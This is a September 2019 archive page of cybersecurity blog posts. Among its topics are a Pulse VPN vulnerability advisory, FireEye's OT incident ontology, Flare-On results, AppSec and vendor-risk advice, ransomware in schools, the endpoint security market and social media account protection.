Monthly Archives: September 2019

Advisory – 2019-129: File Disclosure Vulnerability in Pulse Connect Secure VPN Software

Overview The Australian Signals Directorate’s Australian Cyber Security Centre is aware of a vulnerability that exists in the Pulse Connect Secure Virtual Private Network (VPN) solution. We advise users to ensure their systems are patched and up to date. The Pulse VPN Vulnerability, also known as CVE-2019-11510, was initially disclosed in April 2019 but has resurfaced after multiple reports of exploitation and the disclosure of working exploits available for use on Pastebin and GitHub.

The FireEye OT-CSIO: An Ontology to Understand, Cross-Compare, and Assess Operational Technology Cyber Security Incidents

The FireEye Operational Technology Cyber Security Incident Ontology (OT-CSIO)

While the number of threats to operational technology (OT) have significantly increased since the discovery of Stuxnet – driven by factors such as the growing convergence with information technology (IT) networks and the increasing availability of OT information, technology, software, and reference materials – we have observed only a small number of real-world OT-focused attacks. The limited sample size of well-documented OT attacks and lack of analysis from a macro level perspective represents a challenge for defenders and security leaders trying to make informed security decisions and risk assessments.

To help address this problem, FireEye Intelligence developed the OT Cyber Security Incident Ontology (OT-CSIO) to aid with communication with executives, and provide guidance for assessing risks. We highlight that the OT-CSIO focuses on high-level analysis and is not meant to provide in-depth insights into the nuances of each incident.

Our methodology evaluates four categories, which are targeting, impact, sophistication, and affected equipment architecture based on the Purdue Model (Table 7). Unlike other methodologies, such as MITRE's ATT&CK Matrix, FireEye Intelligence's OT-CSIO evaluates only the full aggregated attack lifecycle and the ultimate impacts. It does not describe the tactics, techniques, and procedures (TTPs) implemented at each step of the incident. Table 1 describes the four categories. Detailed information about each class is provided in Appendix 1.


Table 1: Categories for FireEye Intelligence's OT-CSIO

The OT-CSIO In Action

In Table 2 we list nine real-world incidents impacting OT systems categorized according to our ontology. We highlight that the ontology only reflects the ultimate impact of an incident, and it does not account for every step throughout the attack lifecycle. As a note, we cite public sources where possible, but reporting on some incidents is available to FireEye Threat Intelligence customers only.

Incident

Target

Sophistication

Impact

Impacted Equipment

Maroochy Shire Sewage Spill

(2000)

ICS-targeted

Medium

Disruption

Zone 3

Stuxnet

(2011)

ICS-targeted

High

Destruction

Zones 1-2

Shamoon

(2012)

ICS-targeted

Low

Destruction

Zone 4-5

Ukraine Power Outage

(2015)

ICS-targeted

Medium

Disruption, Destruction

Zone 2

Ukraine Power Outage

(2016)

ICS-targeted

High

Disruption

Zones 0-3

WannaCry Infection on HMIs

(2017)

Non-targeted

Low

Disruption

Zone 2-3

TEMP.Isotope Reconnaissance Campaign

(2017)

ICS-targeted

Low

Data Theft

Zones 2-4

TRITON Attack

(2017)

ICS-targeted

High

Disruption (likely building destructive capability)

Zone Safety, 1-5

Cryptomining Malware on European Water Utility

(2018)

Non-targeted

Low

Degradation

Zone 2/3

Financially Motivated Threat Actor Accesses HMI While Searching for POS Systems

(2019)

Non-targeted

Low

Compromise

Zone 2/3

Portable Executable File Infecting Malware Impacting Windows-based OT assets

(2019)

Non-targeted

Low

Degradation

Zone 2-3

Table 2: Categorized samples using the OT-CSIO

The OT-CSIO Matrix Facilitates Risk Management and Analysis

Risk management for OT cyber security is currently a big challenge given the difficulty of assessing and communicating the implications of high-impact, low-frequency events. Additionally, multiple risk assessment methodologies rely on background information to determine case scenarios. However, the quality of this type of analysis depends on the background information that is applied to develop the models or identify attack vectors. Taking this into consideration, the following matrix provides a baseline of incidents that can be used to learn about past cases and facilitate strategic analysis about future case scenarios for attacks that remain unseen, but feasible.


Table 3: The FireEye OT-CSIO Matrix

As Table 3 illustrates, we have only identified examples for a limited set of OT cyber security incident types. Additionally, some cases are very unlikely to occur. For example, medium- and high-sophistication non-targeted incidents remain unseen, even if feasible. Similarly, medium- and high-sophistication data compromises on OT may remain undetected. While this type of activity may be common, data compromises are often just a component of the attack lifecycle, rather than an end goal.

How to Use the OT-CSIO Matrix

The OT-CSIO Matrix presents multiple benefits for the assessment of OT threats from a macro level perspective given that it categorizes different types of incidents and invites further analysis on cases that have not yet been documented but may still represent a risk to organizations. We provide some examples on how to use this ontology:

  • Classify different types of attacks and develop cross-case analysis to identify differences and similarities. Knowledge about past incidents can be helpful to prevent similar scenarios and to think about threats that have not been evaluated by an organization.
  • Leverage the FireEye OT-CSIO Matrix for communication with executives by sharing a visual representation of different types of threats, their sophistication and possible impacts. This tool can make it easier to communicate risk despite the limited data available for high-impact, low-frequency events. The ontology provides an alternative to assess risk for different types of incidents based on the analysis of sophistication and impact, where increased sophistication and impact generally equates to higher risk.
  • Develop additional case scenarios to foresee threats that have not been observed yet but may become relevant in the future. Use this information as support while working on risk assessments.

Outlook

FireEye Intelligence's OT-CSIO seeks to compile complex incidents into practical diagrams that facilitate communication and analysis. Categorizing these events is useful for visualizing the full threat landscape, gaining knowledge about previously documented incidents, and considering alternative scenarios that have not yet been seen in the wild. Given that the field of OT cyber security is still developing, and the number of well-documented incidents is still low, categorization represents an opportunity to grasp tendencies and ultimately identify security gaps.

Appendix 1: OT-CSIO Class Definitions

Target

This category comprises cyber incidents that target industrial control systems (ICS) and non-targeted incidents that collaterally or coincidentally impact ICS, such as ransomware.


Table 4: Target category

Sophistication

Sophistication refers to the technical and operational sophistication of attacks. There are three levels of sophistication, which are determined by the analyst based on the following criteria.


Table 5: Sophistication category

Impact

The ontology reflects impact on the process or systems, not the resulting environmental impacts. There are five classes in this category, including data compromise, data theft, degradation, disruption, and destruction.


Table 6: Impact category

Impacted Equipment

This category is divided based on FireEye Intelligence's adaptation of the Purdue Model. For the purpose of this ontology, we add an additional zone for safety systems.


Table 7: Impacted equipment

2019 Flare-On Challenge Solutions

We are pleased to announce the conclusion of the sixth annual Flare-On Challenge. The popularity of this event continues to grow and this year we saw a record number of players as well as finishers. We will break down the numbers later in the post, but right now let’s look at the fun stuff: the prize! Each of the 308 dedicated and amazing players that finished our marathon of reverse engineering this year will receive a medal. These hard-earned awards will be shipping soon. Incidentally, the number of finishers smashed our estimates, so we have had to order more prizes.

We would like to thank the challenge authors individually for their great puzzles and solutions.

  1. Memecat Battlestation: Nick Harbour (@nickaharbour)
  2. Overlong: Eamon Walsh
  3. FlareBear: Mortiz Raabe (@m_r_tz)
  4. DnsChess: Eamon Walsh
  5. 4k demo: Christopher Gardner (@t00manybananas)
  6. Bmphide: Tyler Dean (@spresec)
  7. Wopr: Sandor Nemes (@sandornemes)
  8. Snake: Alex Rich (@AlexRRich)
  9. Reloaderd: Sebastian Vogl
  10. MugatuWare: Blaine Stancill (@MalwareMechanic)
  11. vv_max: Dhanesh Kizhakkinan (@dhanesh_k)
  12. help: Ryan Warns (@NOPAndRoll)

And now for the stats. As of 10:00am ET, participation was at an all-time high, with 5,790 players registered and 3,228 finishing at least one challenge. This year had the most finishers ever with 308 players completing all twelve challenges.

The U.S. reclaimed the top spot of total finishers with 29. Singapore strengthened its already unbelievable position of per-capita top Flare-On finishing country with one Flare-On finisher per every 224,000 persons living in Singapore. Rounding out the top five are the consistent high-finishing countries of Vietnam, Russia, and China.

 

All the binaries from this year’s challenge are now posted on the Flare-On website. Here are the solutions written by each challenge author:

  1. SOLUTION #1
  2. SOLUTION #2
  3. SOLUTION #3
  4. SOLUTION #4
  5. SOLUTION #5
  6. SOLUTION #6
  7. SOLUTION #7
  8. SOLUTION #8
  9. SOLUTION #9
  10. SOLUTION #10
  11. SOLUTION #11
  12. SOLUTION #12

Know Your Audience to Make the Case for AppSec

Selling senior-level executives on any new concept can often feel like a trek up a mountain with a 60-pound pack on your back. So, how can you take your application security program to a new and better level with less effort? You focus on what???s really important: getting the right message to the right audience in a language they speak and connect with. Because when people hear things in terms that matter to them ??? and there???s persuasive evidence on hand ??? they stop resisting and even embrace the change.

But sending one message to the multiple leaders involved in a decision-making process is a mistake. Refining your message appropriately by focusing on the information relevant to each group will help you build credibility, more effectively communicate your vision, and more easily gain buy-in. It???s an approach that extends far beyond AppSec, but it has particular relevancy in this space.

On Target

Any successful salesperson understands that it???s easier to close a sale when you communicate selling points that really matter to your audience. The same holds true when you are ???selling??? AppSec internally. Your success hinges on understanding your strategic arc over the course of months and years, establishing metrics and KPIs that demonstrate your progress, and connecting all of this to tangible benefits for the people who hold the purse strings and can greenlight your initiative, and whose support you need for the successful implementation and administration of your program.

You can gain the support you need by building a basic business case for the key groups in your organization, and ensuring that each stakeholder receives the specific information they need in words, figures, and graphics they understand. Whether it???s showing them how your AppSec program cuts costs, scales up efficiencies, fuels your DevOps strategies, or improves the company???s overall trust with business partners and customers, hitting the target matters. It???s crucial to document actual problems and incidents, and then use company data to support your case.

First Things First

Here are six key ways to gain C-suite executive buy-in for AppSec:

  • Avoid acronyms and technical jargon. Nothing confuses and distracts business leaders more than the use of unnecessary technical terms.
  • Use visuals instead of text. Display risks and potential costs in graphics that clearly illustrate potential losses and damage. Rely on numbers, and especially actual dollar figures, to gain credibility. And be sure to refine your message appropriately for each executive. For example, telling your CFO that you???ve reduced SQL injection vulnerabilities by 30 percent most likely won???t resonate. Your CFO wants to know the actual business value of reducing breaches. The CISO wants to understand how AppSec ties into the overall information security program, and the CIO is concerned with the cost of deliver/service and the cost of downtime. Know your audience???s priorities, and speak their language.
  • Forget ???features??? and emphasize ???risks.??? Avoid a discussion about specific security products and what they can do ???you run the risk of being seen simply as a technologist rather than a strategic partner. Instead, build a case around potential brand damage with industry metrics, benchmarks, and potential costs. Nearly two-thirds of company directors who responded to a Veracode and NYSE Governance Services survey said they prefer high-level strategy descriptions and risk metrics over information about security technologies.
  • Identify your organization???s pain points. Find a compelling event, such a recent high-profile security breach, a prospect asking for a security audit, or even a lost sale due to security issues. Present actual data from past incidents to demonstrate how your organization will benefit with AppSec.
  • Pinpoint pet projects. Find something key stakeholders have a burning interest in, and make that your focus. For instance, if your organization???s customers are expressing concerns about privacy and security to your customer service reps, and one of your stakeholders is taking the lead on that issue, attach your cause to that issue. Quantifying the extent of the problem and presenting it to your leaders in a way that clearly illustrates how effective your solutions could be will likely sway decision-makers in your favor.
  • Focus on dollars. The same survey noted above found that among the 200 directors of public companies across a wide swath of industries who responded, 41 percent cited the cost of brand damage ??? including cleanup, lawsuits, forensics, and credit reporting costs ??? as a top concern.

Ultimately, anyone selling an AppSec program to their organization???s top decision-makers should take the time to identify risk benchmarks as compared to their industry peers ??? and what these mean in both practical terms and actual dollars. A focus on real-world issues and results, tied to what matters for specific stakeholders, can significantly boost your odds of success.

For more information about how to promote AppSec, check out our new guide, Building a Business Case for Expanding Your AppSec Program

5 Steps to Managing Security Risks Associated with Your Partners & Vendors

Today most businesses find themselves in the position of requiring a strategic partnership with a third-party to address many different business needs and requirements. These partnerships provide a benefit to the primary company typically in the form of cost savings (labor/operational), increased quality of product or service, or an increased speed with which the product or service is delivered. Additionally, partnerships may be used to address deficiencies within the business operation such as a talent shortage. Organizations may even be compelled to partner with a third-party by industry or regulatory compliance mandates as is the case with PCI-DSS or GLBA to name a couple examples.

These strategic partnerships certainly provide a benefit to the primary organization, but also introduce an additional level of risk. A Soha Systems survey indicates 63 percent of all data breaches are linked directly or indirectly to third-party access. From a network and information security stance, an organization’s security posture is only as strong as its weakest link.

We’ve seen headlines in the news that illustrate this time and time again.  Take, for instance, the recent DoorDash breach that exposed the data of 4.9M merchants, customers, and workers as a result of a third-party service provider.  Or the infamous 2013 Target breach in which Target’s corporate network was compromised through a contracted third-party HVAC company, Fazio Mechanical. The attack initiated through a phishing email which led to malware installation on Fazio Mechanical’s systems and continued until the attackers had infected Target’s POS terminals and customer data was stolen. Through relaxed security policies, practices, and implementations with both parties, Target experienced costs to the corporation in the form of an $18.5M lawsuit settlement, damage to the company’s reputation and resulting lost business, as well as the resources expended to significantly improve their security posture to reduce the possibility of future attacks.

Even if the security risk started with or is wholly due to a service provider’s lax security posture, the primary organization will ultimately bear responsibility for the breach, especially in the mind of the customer. From a legal standpoint, the main organization may often find it difficult to demonstrate that sufficient steps were taken to manage its third-party risk and could be considered liable for the breach and therefore held responsible for the ensuing costs of remediation.

It can be a difficult task to mitigate the inherited risks associated with a company’s security posture over which you have little control. Naturally, how a given organization manages any risk will depend greatly on the business requirements and goals of that organization.

The following are steps any organization can take to begin the process of managing third-party risks:

Step 1: Obtain Executive leadership buy-in and support.

This is essential for any risk management program to succeed.  Leadership support will provide necessary oversight and will stress the importance of this endeavor to the entire organization.

Step 2: Perform a thorough in-house risk and vulnerability assessment to gauge your organization’s security posture.

Implement any needed changes and address any deficiencies to your own organization’s acceptable risk level.

Step 3: Evaluate the security policies, procedures, and implementations of current partners to assess the risk they may pose to your organization.

If deficiencies are discovered, have conversations with the partner organization to address these gaps.  This may involve revisiting current contracts.

Step 4: Prior to contracting with potential vendors, investigate the security practices of these organizations and discuss expectations of how information security will be handled should a partnership be realized.

Due  diligence is vital in evaluating the security posture and risks posed by these potential alliances.

Step 5: To remain successful, implement a risk management program that includes ongoing risk measurement and evaluation through auditing and monitoring.

New risks and vulnerabilities may appear at any time and an organization must be adaptable to these changes.

It’s not all doom and gloom when it comes to third-party partnerships.  After all, they can provide significant value to business operations. The important takeaway is their risks are your risks, and your organization will bear the burden should an accident occur. By implementing a risk management program following the steps above, you can mitigate third-party risk, providing you peace of mind and long-term success.

The post 5 Steps to Managing Security Risks Associated with Your Partners & Vendors appeared first on GRA Quantum.

GRA Quantum Named to 2019 MSSP Alert Top 200 Managed Security Services Providers List

Third Annual List Honors Leading MSSPs, MDR Service Providers & Cybersecurity Companies

Salt Lake City, UT., Sept. 24, 2019 — MSSP Alert, published by After Nines Inc., has named GRA Quantum to the Top 200 MSSPs list for 2019 (http://www.msspalert.com/top200). The list and research identify and honor the top 200 managed security services providers (MSSPs) that specialize in comprehensive, outsourced cybersecurity services.

Previous editions of the annual list honored 100 MSSPs. This year’s edition, at twice the size, reflects MSSP Alert’s rapidly growing readership and the world’s growing consumption of managed security services. MSSP Alert’s readership has grown every month, year over year, since launching in May 2017.

The Top 200 MSSP rankings are based on MSSP Alert’s 2019 readership survey combined with aggregated third-party research. MSSPs featured throughout the list and research proactively monitor, manage and mitigate cyber threats for businesses, government agencies, educational institutions and nonprofit organizations of all sizes.

“We’re honored to be recognized in MSSP Alert’s Top 200 MSSPs list after having only launched our Security Operations Center and Managed Security Services in 2018,” said Tom Boyden, President, GRA Quantum. “We pride ourselves in our dedication to offer comprehensive, enterprise-level MSS solutions to small and mid-sized firms.”

“Our technology-agnostic approach sets us apart from most MSS vendors,” added Jen Greulich, Director, Managed Security Services, GRA Quantum. “This allows us to select the best tools for our clients and seamlessly integrate into their existing technologies.”

“After Nines Inc. and MSSP Alert congratulate GRA Quantum on this year’s honor,” said Amy Katz, CEO of After Nines Inc. “Amid the ongoing cybersecurity talent shortage, thousands of MSPs and IT consulting firms are striving to move into the managed security market. The Top 200 list honors the MSSP market’s true pioneers.”

Learn more about GRA Quantum’s Managed Security Services.

 

MSSP Alert: Top 200 MSSPs 2019 – Research Highlights

The MSSP Alert readership survey revealed several major trends in the managed security services provider market. Chief among them:

  • The Top 5 business drivers for managed security services are talent shortages; regulatory compliance needs; the availability of cloud services; ransomware attacks; and SMB customers demanding security guidance from partners.
  • 69% of MSSPs now run full-blown security operations centers (SOCs) in-house, with 19% leveraging hybrid models, 8% completely outsourcing SOC services and 4% still formulating strategies.
  • The Top 10 cybersecurity vendors assisting MSSPs, in order of reader preference, are Fortinet, AT&T Cybersecurity, Cisco Systems, BlackBerry Cylance, Palo Alto Networks, Microsoft, SonicWall, Carbon Black, Tenable and Webroot (a Carbonite company).
  • Although the overall MSSP market enjoys double-digit percentage growth rates, many of the Top 200 MSSPs have single-digit growth rates because they are busy investing in next-generation services – including managed detection and response (MDR), SOC as a Service, and automated penetration testing.

The Top 200 MSSPs list and research are overseen by Content Czar Joe Panettieri (@JoePanettieri). Find the online list and associated report here: http://www.msspalert.com/top200.

About After Nines Inc.

After Nines Inc. provides timeless IT guidance for strategic partners and IT security professionals across ChannelE2E (www.ChannelE2E.com) and MSSP Alert (www.MSSPAlert.com).  ChannelE2E tracks every stage of the IT service provider journey — from entrepreneur to exit. MSSP Alert is the global voice for Managed Security Services Providers (MSSPs).

  • For sponsorship information contact After Nines Inc. CEO Amy Katz, Amy@AfterNines.com
  • For content and editorial questions contact After Nines Inc. Content Czar Joe Panettieri, Joe@AfterNines.com

The post GRA Quantum Named to 2019 MSSP Alert Top 200 Managed Security Services Providers List appeared first on GRA Quantum.

SB220 Nevada Law

The Privacy Security and Risk Conference is next week in Las Vegas. While the conversation will most likely be dominated by the California Consumer Privacy Act (CCPA), there is another privacy law that should probably be on the agenda as well. That’s right, Nevada also has a new privacy law, specifically SB220. This new privacy […]

The post SB220 Nevada Law appeared first on Privacy Ref.

Security and Development Agree, Coordinated Disclosures Are a Public Service

Shifting security left so that security testing becomes an integrated part of the development process helps companies improve software security. With software running our world, it is important to empower developers with the tools and processes they need to make security a part of their overall development process. Yet, even with a robust AppSec program that makes security a part of the development process, new vulnerabilities are found all the time. Companies need ways to find vulnerabilities once software is released. That???s where coordinated disclosure policies come into play.

Coordinated disclosure policies allow security researchers to work with an organization to help them improve the security of their software. The conversation around vulnerability disclosure has become more nuanced over the past several years. What was once a topic that would spur intense debate is now one that invites discussion on strategy and best practices. Organizations as conservative as federal and state agencies are exploring the need for coordinated disclosure processes.

Veracode recently commissioned a report with 451 Group to explore the attitudes and perceptions around coordinated disclosure. Our intent in commissioning this research was to establish a current view of perceptions around coordinated vulnerability disclosure and to define a set of clear recommendations that help businesses progressively deliver on the objective of developing software that is secure from the start.

The report showed that 90 percent of security and development professionals believe coordinated disclosure serves a public good. This same report also found that one-third of organizations received an unsolicited vulnerability alert in the past 12 months ??? and that 90 percent of these were done in a coordinated manner, in which the independent security researcher worked with the company to fix the vulnerability.

As Chris Wysopal, Veracode CTO, commented on the report:

???The alignment that the study reveals is very positive,??? said Veracode Chief Technology Officer and co-founder Chris Wysopal. ???The challenge, however, is that vulnerability disclosure policies are wildly inconsistent. If researchers are unsure how to proceed when they find a vulnerability it leaves organizations exposed to security threats giving criminals a chance to exploit these vulnerabilities. Today, we have both tools and processes to find and reduce bugs in software during the development process. But even with these tools, new vulnerabilities are found every day. A strong disclosure policy is a necessary part of an organization???s security strategy and allows researchers to work with an organization to reduce its exposure. A good vulnerability disclosure policy will have established procedures to work with outside security researchers, set expectations on fix timelines and outcomes, and test for defects and fix software before it is shipped.???

Past perceptions around independent security researchers were that they were motivated by money from bug bounty programs or would blackmail a company into paying them for the vulnerability information. This study showed that this perception is far from the truth. Only 18 percent of security researchers expect to be paid for finding a vulnerability, and only 16 percent expect some sort of recognition. Conversely, 37 percent expect information validating the fix ??? suggesting independent researchers are more interested in creating more secure software than notoriety or financial gain.

The good news is most companies today have an established process for working with independent security researchers. When coordinated disclosure programs become part of an overall software security strategy along with a DevSecOps program that integrates security testing right into the development process, we all benefit from the software powering our world being more secure.

See highlights from the report???s findings in the infographic below.

 

Five Thoughts on the Internet Freedom League

In the September/October issue of Foreign Affairs magazine, Richard Clarke and Rob Knake published an article titled "The Internet Freedom League: How to Push Back Against the Authoritarian Assault on the Web," based on their recent book The Fifth Domain. The article proposes the following:

The United States and its allies and partners should stop worrying about the risk of authoritarians splitting the Internet. 

Instead, they should split it themselves, by creating a digital bloc within which data, services, and products can flow freely, excluding countries that do not respect freedom of expression or privacy rights, engage in disruptive activity, or provide safe havens to cybercriminals...

The league would not raise a digital Iron Curtain; at least initially, most Internet traffic would still flow between members and nonmembers, and the league would primarily block companies and organizations that aid and abet cybercrime, rather than entire countries. 

Governments that fundamentally accept the idea of an open, tolerant, and democratic Internet but that struggle to live up to such a vision would have an incentive to improve their enforcement efforts in order join the league and secure connectivity for their companies and citizens. 

Of course, authoritarian regimes in China, Russia, and elsewhere will probably continue to reject that vision. 

Instead of begging and pleading with such governments to play nice, from now on, the United States and its allies should lay down the law: follow the rules, or get cut off.

My initial reaction to this line of thought was not encouraging. Rather than continue exchanging Twitter messages, Rob and I had a very pleasant phone conversation to help each other understand our points of view. Rob asked me to document my thoughts in a blog post, so this is the result.

Rob explained that the main goal of the IFL is to create leverage to influence those who do not implement an open, tolerant, and democratic Internet (summarized below as OTDI). I agree that leverage is certainly lacking, but I wondered if the IFL would accomplish that goal. My reservations included the following.

1. Many countries that currently reject the OTDI might only be too happy to be cut off from the Western Internet. These countries do not want their citizens accessing the OTDI. Currently dissidents and others seeking news beyond their local borders must often use virtual private networks and other means to access the OTDI. If the IFL went live, those dissidents and others would be cut off, thanks to their government's resistance to OTDI principles.

2. Elites in anti-OTDI countries would still find ways to access the Western Internet, either for personal, business, political, military, or intelligence reasons. The common person would be mostly likely to suffer.

3. Segregating the OTDI would increase the incentives for "network traffic smuggling," whereby anti-OTDI elites would compromise, bribe, or otherwise corrupt Western Internet resources to establish surreptitious methods to access the OTDI. This would increase the intrusion pressure upon organizations with networks in OTDI and anti-OTDI locations.

4. Privacy and Internet freedom groups would likely strongly reject the idea of segregating the Internet in this manner. They are vocal and would apply heavy political pressure, similar to recent net neutrality arguments.

5. It might not be technically possible to segregate the Internet as desired by the IFL. Global business does not neatly differentiate between Western and anti-OTDI networks. Similar to the expected resistance from privacy and freedom groups, I expect global commercial lobbies to strongly reject the IFL on two grounds. First, global businesses cannot disentangle themselves from anti-OTDI locations, and second, Western businesses do not want to lose access to markets in anti-OTDI countries.

Rob and I had a wide-ranging discussion, but these five points in written form provide a platform for further analysis.

What do you think about the IFL? Let Rob and I know on Twitter, via @robknake and @taosecurity.

Why Are Schools Increasingly Targeted by Cyberattackers?

Schools, including universities, are increasingly becoming cyberattack targets. Just this month, the Monroe-Woodbury school district in Orange County, NY had to delay the start of school due to cyberattacks. And this incident was only one of a handful of cyberattacks on New York state school districts this summer. One school system, Rockville Centre in Nassau County, paid a cyberattacker $88,000 after a ransomware attack shut down the district???s mainframe.

And New York is not alone. This summer, school districts in Oklahoma, New York, and Virginia have been victims of ransomware. The Louisiana governor declared a state of emergency after multiple ransomware attacks crippled several school districts, and schools in Flagstaff, AZ closed for two days this month last due to a ransomware attack.

The attacks don???t stop after grade 12 either. Two universities, Regis University in Denver, CO and Stevens Institute of Technology in Hoboken, NJ, were also targeted right before the start of this school year:

Anthony Carfora of the Lupinskie Center for Curriculum, Instruction and Technology said in an interview with CBS New York, ???Ransomware is prolific right now and there???s more of it going on in government and education institutions than in private industry. We seem to be targets now.???

Why are schools being targeted?

Schools??? appeal to cyberattackers stems, in part, from the fact that most don???t have robust cybersecurity systems or personnel and struggle to prevent and respond to attacks. They have the added challenge of needing to give their students and teachers the academic freedom to learn and explore and do research. This often requires a more lax security posture than the locked down environment of an enterprise. They also house a lot of sensitive data, and are heavily reliant on software.

Another wrinkle: the users of that software might find it worthwhile to take a look under the hood. Veracode co-founder Chris Wysopal notes that, ???schools use a lot of applications, which put them at the mercy of their vendors to build secure software, and requires that they have a good coordinated disclosure process to respond to security researchers, who in their case are often going to be students.???

Just last month at DEF CON, a teenager presented on all the vulnerabilities he found over the past three years in his school???s educational software. Wired reported that the teen ???found a series of common web bugs in [the software], including so-called SQL-injection and cross-site-scripting vulnerabilities ??ヲ those bugs ultimately allowed access to a database that contained 24 categories of data, everything from phone numbers to discipline records, bus routes, and attendance records.???

After he reported the flaws to the two software companies, he got little to no response. That is, until he used one of the vulnerabilities to trigger a push notification saying ???hello??? to all users. The software companies responded, and one has stated that it???s working to improve its vulnerability disclosure program.

Steps schools can take

Beyond working with vendors to ensure the security of software they are purchasing, and developing robust vulnerability disclosure programs, Wysopal recommends that schools consider ???separating the administration network, which has the sensitive data the school needs to operate, from the teaching or lab network, where this data isn???t needed.??? In this way, the school can maintain the academic freedoms while compartmentalizing data to reduce risk.

Want more security news and best practices? Subscribe to our content.

The Endpoint security market is booming

The Endpoint security solution is the fastest-growing category in cybersecurity, no doubt as a response to growing threats.

From all the categories in the cybersecurity world, one stands out in terms of sales volume and growth.

The Endpoint security products (also known as EPP- Endpoint security platforms) are designed to secure laptops, desktops, servers from malware. The rapid growth in this particular product category has several reasons. The first is the rise in attacks against endpoints, which is driven by financial motives. Ransomware attacks (which are targeting endpoints) have doubled in the last 12 months. When an organization is under attack, the most vulnerable assets are usually the endpoints, which host all the data and provide the attackers with access to other endpoints and servers, which they then use to identify data and encrypt it.

Ransomware and Cryptominers are the biggest threats

In addition to Ransomware, other forms of malware that target endpoints are on the raise- mainly crypto-miners, that use computing resources to produce cryptocurrencies (mainly Monero). Crypto-mining campaigns climbed 29 percent from Q4 2018 to Q1 2019. One infamous example of this trend is the discovery and takedown of a huge botnet consisting of 850,000. The computers were infected with the polymorphic miner “RETADUP”, and used the computers’ resources to mine Monero. Similarly, the

the Smominru campaign hijacked half a million PCs to mine cryptocurrency. The botnet has been active for at least two years and generally spreads through the EternalBlue exploit.

Organizations are aware of this growing, freightening trend, and respond by deploying endpoint solutions to secure themselves. Endpoint security solutions market is growing at an annual rate of 8% , from a total size of 6.5 billion USD in 2018 to an estimated 13 billion by 2022.

Endpoint security products integrate with the organizations’ security apparatus, that begins with the perimeter (Firewall, WAF), moving to the network (NTA) and terminates at the endpoints. Gartner defines EPP as “solutions deployed on endpoint devices to harden endpoints, to prevent malware and malicious attacks, and to provide…investigation and remediation capabilities.” EPP systems gradually replace legacy Anti-Virus systems, because even though both products provide the same functionality, the AV is signature-based (meaning it is only useful for detecting known malware) and EPP can identify and block new variants of malware and Zero-days.

The endpoint security market isn’t simply growing in overall market size, it is also very profitable and enjoys sizeable deal (given that enterprises have thousands of endpoint to secure). Last year, Blackberry acquired Cylance, one of main vendors, for 1.4 Billion USD. CarbonBlack IPOd and then sold to VMware for 2.1 billion, and Crowdstrike that has IPOd in June 2019, has since the saw a 150% rise in its stock price, propelling it to no.3 cybersecurity company in the world, ahead of established companies such as Checkpoint, Symantec and others.

 

Israeli Endpoint Security solution vendors

As far as the Israeli cyber market, the trend is similar. Several startups have identified this opportunity and developed endpoint security solutions: Nyotron, ensile, Minerva Labs. All these companies raise dozens of millions of USD and are trying to battle the huge companies oversees. The leading Israeli company is SentinelOne that was founded in 2013 and raised 230 Million USD since. The company has an Israeli R&D center, HQ in the Silicon Valley and a large sales office in Oregon. The company has 2500 global clients and its revenue is close to 100 million USD annually. Gartner has included SentinelOne in its prestigious “Magic Quadrant” research pertaining to endpoint security solutions, hailing it as “Visionary” -positioned furthest for completeness of vision (and the only Israeli endpoint security company to be included in the report. SentinelOne platform does not require any prior knowledge about the attack in order to identify the malware. This is due to intelligent machine-learning algorithm, continuously improved engines. SentinelOne uses several engines to ensure proper monitoring, identification, blocking and mitigation. SentinelOne enables defenders to quickly remediate, report and investigate the incident. Sentintelone automatic roll-back is extremely useful in terms of a ransomware attack. The company now expends the “Endpoint” security concept to new devices such as IoT device and for cloud security.

 

 

 

 

The post The Endpoint security market is booming appeared first on CyberDB.

PROTECTING YOUR SOCIAL MEDIA ACCOUNTS



The Internet has made our lives easier in so many ways. However, you need to know how you can protect your privacy and avoid fraud. With all of the personally identifiable information we share on social sites – Hackers have only become more adept at locating that information and using it to gain access to our accounts.

What’s worse, if you’re on social media while at work and connected to the corporate network and your account gets hacked, you’ve now made your entire company vulnerable.

Social media represents the largest modern threat vector – it has more connectivity (billions of people), it’s more trusted (everyone is your friend) and its less visibility (simply by its nature) than any other communication or business platform.


Security teams need to join their sales, marketing and customer success groups in the digital era, follow social media security best practices and implement risk monitoring and remediation technology around social media to secure their organization’s future.

In the case of social media accounts, you should make absolutely sure the email they are linked to has as much protection as possible. It’s a single point of failure. since everyone gets their password reset emails there. That’s the major way people get in.



Tips for Securing your Social Media Accounts
Create a unique email for social media. If you are compromised, hackers won’t have access to any other valuable information.

Limit Biographical Information. Many social media websites require biographical information to open an account –You can limit the information made available to other social media users.

Enable two-factor authentication. This is one of the best methods for protecting your accounts from unauthorized access.

Close unused accounts. With security, you can’t take the approach of ‘out of sight, out of mind,’ so it’s best to terminate your account altogether if it’s no longer in use.

Update mobile apps regularly. These updates can protect you from threats that have already been identified.

Practice good password hygiene. Pick a “strong” password, keep it secure, change it frequently, and Use different passwords for different accounts.



Monitor your accounts regularly. The sooner you notice suspicious activity, the sooner you can recover your account.

Secure your mobile devices. If your mobile devices are linked to your social media accounts, make sure that these devices are password protected in case they are lost or stolen.

Adjust the default privacy settings. Lock down your account from the start. Select who can see what posts, when and what information is shown on your profile, to who.

Be mindful accessing accounts on public wireless.If you have to connect, log completely out of your account after your session.

Accept friend requests selectively. There is no obligation to accept a “friend” request of anyone you do not know or do not know well. Fake accounts are often used in social engineering.

Use caution with public computers or wireless connections. Try to avoid accessing your social media accounts on public or other shared computers. But if you must do so, remember to log out completely by clicking the “log out” button on the social media website to terminate the online session.

Limit 3rd party app usage. Only authorize legitimate applications, and be sure to read the details of what you are authorizing the particular app to have access to.



What do I do If I’ve Been Hacked?
First things, don’t panic. If possible, log into your account and change your password.
Review the recent activity on the account and delete anything that was not posted by you.

If you find spam, be sure to report it.

Check your bank account and other accounts to ensure that they were not also compromised.

At this point, enable two-factor authentication.

In addition, you should know that Social media provide support to recover your account.

Open Sourcing StringSifter

Malware analysts routinely use the Strings program during static analysis in order to inspect a binary's printable characters. However, identifying relevant strings by hand is time consuming and prone to human error. Larger binaries produce upwards of thousands of strings that can quickly evoke analyst fatigue, relevant strings occur less often than irrelevant ones, and the definition of "relevant" can vary significantly among analysts. Mistakes can lead to missed clues that would have reduced overall time spent performing malware analysis, or even worse, incomplete or incorrect investigatory conclusions.

Earlier this year, the FireEye Data Science (FDS) and FireEye Labs Reverse Engineering (FLARE) teams published a blog post describing a machine learning model that automatically ranked strings to address these concerns. Today, we publicly release this model as part of StringSifter, a utility that identifies and prioritizes strings according to their relevance for malware analysis.

Goals

